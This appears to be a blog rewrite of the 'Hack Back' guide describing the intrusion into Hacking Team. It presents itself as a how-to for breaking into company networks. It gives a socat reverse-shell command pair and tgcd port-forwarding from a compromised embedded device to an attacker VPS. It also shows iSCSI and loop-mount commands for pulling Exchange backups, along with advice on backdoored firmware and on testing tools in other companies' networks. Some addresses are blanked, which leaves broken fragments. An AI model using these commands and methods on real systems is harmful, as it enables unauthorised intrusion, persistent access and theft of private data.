Hack Back: Let’s Get Down To Business

In Hacking Back: A DIY Guidethe author introduced the reader to the philosophy behind the hack back movement. Furthermore, the first section covered some security aspects that are important to hacking back.

In this section, the author covers more of the technical aspect of hacking: entering networks, social engineering, buying access, technological exploitation, among other things.

Hack Back 5.0: Entering the Network

Various ways to get a foothold on a system’s security exist, depending on what the attacker wants to achieve. Since the author’s method used against Hacking Team is uncommon, entailing more work than usual, the author covers the two most common methods first; ways the author recommends trying first.

Hack Back 5.1: Social Engineering

Social engineering is crucial to hacking. For example, the bulk of attacks employ spear phishing. The author didn’t apply spear phishing on Hacking Team since it is their key method. The group would have recognized and investigated any attempt at spear phishing. The result leading to failure before the mission ever got underway.

Hack Back 5.2: Buying Access

Give a big thanks to hardworking Russian hackers with their exploit kits, traffic sellers, and bot herders. A large number of companies have compromised computers in their networks. In addition to that, a large percentage of Fortune 500 corporations, with their massive networks, have bots inside. Nevertheless, small companies like Hacking Team employ infosec experts, which means finding a loophole in their system unlikely.

Hack Back 5.3: Technical Exploitation

For the sake of example, Hacking Team has one public IP range: inetnum: through descr: HT public subnet. They exposed very little to the Internet. Unlike Gamma Group, Hacking Team’s customer support site needed a client certificate to connect. They had the main website, mail server, some routers, two VPN appliances, and spam filtering.

The one option available to the author involved looking for a 0day in either Joomla, postfix or one of the embedded devices. The author figured that a 0day in an embedded device seemed the easiest option. Two weeks of reverse engineering led to a remote root exploit. For more information about 0day in Joomla, postfix, or an embedded device, visit these resources.

Prepare! Hack Back Rule #!.

Hack Back 6.0: Be Prepared

Before using the exploit against Hacking Team, the author did a lot of work and testing. The author wrote “backdoored firmware” to protect the exploit. Additionally, they compiled a variety of post-exploitation tools for the embedded devices. Using the exploit just once and then returning through the backdoor makes it harder to identify and patch the vulnerabilities. Here is a list of those post-exploitation tools.

  • BusyBox. This is for the standard Unix utilities the system lacks.
  • Responder.py. The most useful tool for attacking windows networks when you have access to
    the internal network, but no domain user.
  • Python. To execute Responder.py.
  • tcpdump. For sniffing traffic.
  • dsniff. For sniffing passwords from plaintext protocols like ftp, and for
    arp spoofing. 
  • socat. For a comfortable shell with a pty use the following code:
my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:my_server:my_port
  • screen. This allows you to feel at home in the target’s network.
  • SOCKS proxy server. 
  • tgcd. For forwarding ports, like for the SOCKS server, through the firewall.

Furthermore, the worst that could happen would be the backdoor or post-exploitation tools causing the system to become unstable. This instability would lead to an employee to investigate why. In other words, week or more should be spent testing the exploit, backdoor, and post-exploitation tools in other vulnerable companies’ networks. Once everything checks out, you can enter the targets’ network.

Hack Back 7.0: Watch and Listen

Now, once inside their internal network, you will want to take a look around and think about my next step. Starting with Responder.py, conduct a slow scan with nmap in analysis mode (-A to listen without sending poisoned responses).

NoSQL Databases

Hack Back 8.0: NoSQL Databases

NoSQL (NoAuthentication) proved to be a big gift to the hacker community. New databases came into style lacking authentication by design. This quelled any fears by those who feared the authentication bypass bugs had been patched. Therefore,  nmap found this flaw in the Hacking Team’s internal network.

27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 47547
| totalSize = 49856643072
|_ version = 2.6.5
27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 31987
| totalSize = 33540800512
| databases
|_ version = 2.6.5

What you see above are databases for testing instances of RCS. As it happens, those RCS records were stored in MongoDB with GridFS. The audio folder in the torrent came from this. Thus, without knowing it, they were spying on themselves, leaving a way open for others to do the same thing.

Hack Back 9.0: Crossed Cables

It might be fun to listen to recordings and watch webcam videos of your victim but it’s not useful. Rather, the insecurity lies within their insecure backups. According to Hacking Team’s documentation, the iSCSI devices were supposed to be on separate networks. Nevertheless, nmap found a few in the subnetwork

Nmap scan report for ht-synology hackingteam.local (192.168.20066)

3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:ht-synology.name
| Address:,0
|_ Authentication: No authentication required
Nmap scan report for synology-backup.hackingteam.local (
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:synology-backup.name
| Address:,0
| Address:,0
|_ Authentication: No authentication required

iSCSI needs a kernel module. So, it would’ve been difficult to compile it for the embedded system. Therefore, forwarded the port so that I could mount it from a VPS:

VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s -c VPS_IP:42838
VPS: iscsiadm -m discovery -t sendtargets -p

Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
because it thinks its IP is instead of

The way to solve this:

iptables -t nat -A OUTPUT -d -j DNAT --to-destination

And now this:

iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p --login

When the device appears, you mount it.

vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

Find backups from various virtual machines. Exchanger servers seem the most interesting. Since the size is too big to download, mounting remotely allows you to look for interesting files.

$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
so the offset is 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
we find the hard disk of the VM, and mount it:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

And finally, we’ve unpacked the Russian doll and can see all the files from the old Exchange server in /mnt/part1.


Leave a Reply